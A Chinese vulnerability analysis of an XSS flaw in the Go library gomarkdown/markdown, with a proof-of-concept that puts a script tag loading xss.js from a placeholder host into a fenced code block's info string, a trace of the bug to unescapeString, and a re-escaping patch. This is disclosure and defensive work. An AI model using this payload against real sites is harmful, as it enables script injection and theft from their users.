前言

gomarkdown/markdown 是 Go 语言的一个流行模块,它旨在快速地将 Markdown 文档转化为 HTML 页面。而此次发现的漏洞,来源于作者在编写其语法树 Parser 的时候无意的一次 unescape。

漏洞复现

我们首先来看一段代码。

package main
import ("fmt""github.com/gomarkdown/markdown""html"
)
func main() {var textToRender = "```\"1;><script/src=\"http://HOST/xss.js\"></script>\n\n```\n"var middleware = html.EscapeString(textToRender)var result = markdown.ToHTML([]byte(middleware), nil, nil)fmt.Println(string(result))
}

大部分人一眼看过来,发现有 html.EscapeString 方法进行过滤,可能就跟笔者一开始一样,认为这里一定没什么问题。其实不然,我们可以采用 v0.0.0-20210514010506-3b9f47219fe7,也就是笔者提交 issue 之前的最新版本来试一下,看结果会怎样。

可以发现我们原本使用 html.EscapeString 进行转义的字符不受影响地出现在了结果中,从而导致了 script 标签被单独完整地渲染到 HTML,从而引入了一个外部 js 文件。更进一步的说,为 XSS 提供了完美的条件。

漏洞分析

使用上述给出的代码进行调试,先看一个调用栈。

从 ToHTML 方法进来之后直接到 doc := Parse(markdown, p),从而进入了 Parse 这个方法。

然后就是调用到 block 方法对输入的 Markdown 字符串进行分块的处理。在逐一判断到代码块后进入了 fencedCodeBlock 方法。

在其中将代码块的内容分解填入对象之后,会进入 finalizeCodeBlock 进行一个收尾工作。

跟进去之后可以发现这个方法是这样的。

func finalizeCodeBlock(code *ast.CodeBlock) {c := code.Contentif code.IsFenced {newlinePos := bytes.IndexByte(c, '\n')firstLine := c[:newlinePos]rest := c[newlinePos+1:]code.Info = unescapeString(bytes.Trim(firstLine, "\n"))code.Literal = rest} else {code.Literal = c}code.Content = nil
}

code.Info 的内容被 unescapeString 处理了一次,也就是最后得到意外结果的问题根源。接着往后跟踪,可以发现处理后的内容被放进对象 p 后直接利用语法树完成了渲染,最终得到 HTML 字符串,而被解码后的内容并没有被二次转义。


因此,最后得到的字符串就出现了上文的问题。

漏洞的修复

由于漏洞的产生是因为解码后没有再次编码,因此可以将其使用 html.EscapeString 重新处理一次,将原有的语句做如下替换。

- code.Info = unescapeString(bytes.Trim(firstLine, "\n"))
+ code.Info = []byte(html.EscapeString(string(unescapeString(bytes.Trim(firstLine, "\n")))))

此时再重新运行一次文章开始时给出的代码,可以得到如下结果。

<pre><code class="language-"1;&gt;&lt;script/src="http://HOST/xss.js"&gt;&lt;/script&gt;">
</code></pre>

可以发现由于再次进行了 HTML 实体转义,script 标签没有被独立渲染,从而避免了 XSS 的产生。

有需要网络安全相关的资料可以关注私信我哦!!!

持续更新文章

【安全漏洞】gomarkdown/markdown 项目的 XSS 漏洞产生与分析相关推荐

  1. 简述xss漏洞原理及危害?xss漏洞有哪些类型?xss漏洞哪个类型危害最大?如何防御xss漏洞

    Xss漏洞原理:服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的. 危害: 1.窃取用户Cookie 2.后台增删改文章 3.XS ...

  2. SpringBoot项目的 log4j漏洞解决—JeecgBoot

    很多小伙伴因为Log4j2的惊爆0Day漏洞,前来询问 JeecgBoot是否存在问题. 这里统一回复:jeecgboot采用的是logback实现,按道理不影响 如何担心也可以升级下版本号,步骤如下 ...

  3. XSS漏洞利用---PHPMyWind 任意密码重置漏洞

    [漏洞详情] 1.PHPMyWind是一套基于PHP和MySQL并符合W3C标准的企业网站建设解决方案,拥有着较大的用户群体(根据PHPMyWind官网介绍,已下载超15万次),受影响的版本是5.3- ...

  4. XSS漏洞的原理与测试解决方案笔记

    漏洞原理: XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行 ...

  5. 基于网络爬虫的XSS漏洞检测技术

    1. 背景和意义 在早期的网站设计中,网页的存在形式都是静态的.静态的网页内容稳定,不会经常更新,但是在后期却不易维护.如果需要维护更新网页,则必须重新编辑HTML网页,因此当网站很庞大的时候,维护静 ...

  6. 【XSS漏洞-01】XSS漏洞简介、危害与分类及验证

    目录 1 XSS漏洞简介 2 XSS漏洞危害 3 XSS漏洞分类 3.1 反射型XSS 3.2 存储型XSS 3.3 DOM型XSS 3.3.1 节点树模型 3.3.2 DOM型XSS 4 漏洞验证 ...

  7. 网站安全之XSS漏洞攻击以及防范措施

    在网站开发中,安全问题是重中之重的问题,特别像一个sql注入,XSS漏洞攻击,等的防范,如果不做好,网站将存在很大的隐患 XSS漏洞是网站漏洞中最容易出现的一种,至少现在的各大网站中基本都存在,传闻只 ...

  8. 跨站脚本攻击之反射型XSS漏洞【转载】

    转载自FovWeb.com 如果一个WEB应用程序使用动态页面传递参数向用户显示错误信息,就有可能会造成一种常见的XSS漏洞.一般情况下,这种页面使用一个包含消息文本的参数,并在页面加载时将文本返回给 ...

  9. 渗透测试-XSS漏洞检测

    防护绕过 关于XSS漏洞的基础理解,请访问另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/86005088. xss漏洞很容易被 ...

最新文章

  1. Linux命令(30):tar命令-归档工具
  2. 直播 | EMNLP 2020论文解读:从上下文学习还是从实体名字学习?
  3. 11.25个推TechDay X 中生代技术全国巡回沙龙北京站
  4. hdu 1874(Dijkstra + Floyd)
  5. 人人都能学会的python编程教程1:第一行代码
  6. c语言3到7位水仙花数流程图_C语言入门基础整理
  7. IP多播技术[为软件高校杯做准备]
  8. Java Netty 初步
  9. linux6.5输错密码锁定,干货分享:解决redhat6.5登陆后跳回Login,循环登陆问题
  10. 在r中弄方差分析表_R语言 | 方差分析(上)
  11. 中国最顶级的一批程序员,从首富到首负!
  12. win7计算机不显示摄像头图标不见了,win7系统摄像头图标不显示的解决方法
  13. NEO4J-相似度算法04-欧几里得距离算法(euclidean)应用场景简介
  14. 元宇宙时空——元宇宙是什么
  15. 微博插件-微博图片全显示(页面样式本人优化版)
  16. 2021-2027全球及中国群集机器人行业研究及十四五规划分析报告
  17. Could not load dynamic library ‘libcusolver.so.11‘; dlerror: libcusolver.so.11: cannot open shared o
  18. springBoot整合mybatis-plus 报错 No qualifying bean of type
  19. 03--2017同济大学电信院信息与通信工程系复试总结
  20. Elixir GenServer

热门文章

  1. CV之detectron2:detectron2安装过程记录
  2. Algorithm:C+语言实现之数组相关算法(和为定值的两个数、和为定值的m个数、荷兰国旗、长度为2n的洗牌算法、任意长度数组的洗牌算法)
  3. 成功解决Python中出现的TypeError: object of type 'zip' has no len()
  4. 《疯狂Java讲义》2
  5. linux下curl的使用
  6. python中a=a+2与a+=2的区别
  7. FineReport中以jws方式调用WebService数据源方案
  8. Oracle 用户管理
  9. windows XP安装配置Perl Apache
  10. 解决2003不支持FLV的方法